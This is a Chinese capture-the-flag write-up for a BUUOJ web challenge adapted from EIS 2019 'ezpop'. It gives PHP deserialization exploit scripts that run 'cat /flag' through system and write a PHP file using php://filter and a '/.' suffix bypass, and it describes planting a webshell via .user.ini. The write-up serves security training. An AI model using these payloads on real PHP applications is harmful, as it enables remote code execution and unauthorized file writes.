buuoj新春WEB红包题

0x 01 题目分析

题目改编自 EIS 2019 的 ezpop,与原题不同的是加了下面这个,对文件名有所控制。

1
2
3
4
5
6
7
8
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}

原题解题报告参考:https://www.jianshu.com/p/763427ea0e4b

0x 02 解题方法一

1
2
3
4
5
6
7
8
9
10
11
12
$testB = new B();
$testB->options['prefix'] = 'abc';
$testB->options['serialize'] = 'system';
$testB->options['data_compress'] = false;
$testB->options['expire'] = "aaa\n";
$testB->writeTimes = 0;
$testA = new A($testB, "miao");
$testA->autosave = false;
$testA->cache = ['aaq' => '`cat /flag > ./flag.php`'];
$testA->complete = true;

echo urlencode(serialize($testA))."\n";

这里$serizlize 是可控的,$data 会被转换成json,利用system执行命令,最后相当于执行

1
"[{"aaq":"`cat \/flag > .\/flag.php`"},true]"

在shell里面,的优先级是高于”的,所以会先执行cat /flag > ./flag.php然后再将执行结果拼接成一个新的命令,参考 https://www.anquanke.com/post/id/194036

0x 03 解题方法二

对于前面的随机值,使用/../即可截断,后面即可追加写任意文件。

于是先写一个 .user.ini,然后写一个 .jpg 里面带马,使其追加到其他 php 后面作为 php 执行即可。

参见 http://althims.com/2020/01/29/buu-new-year/

0x 04 解题方法三

对于尾部 .php 的限制,可使用追加 /. 来绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
$testB = new B();
$testA = new A($testB, $key = '/../miao1.php/.');
$testA->complete = true;
$testA->autosave = false;
// <?php phpinfo();?\>
$testA->cache = array("PD9waHAgcGhwaW5mbygpOz8+"=>"");
$testB->options['prefix'] = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=';
$testB->options['serialize'] = 'strval';
$testB->options['data_compress'] = false;
$testB->options['expire'] = "aaa\n";
$testB->writeTimes = 0;

echo urlencode(serialize($testA))."\n";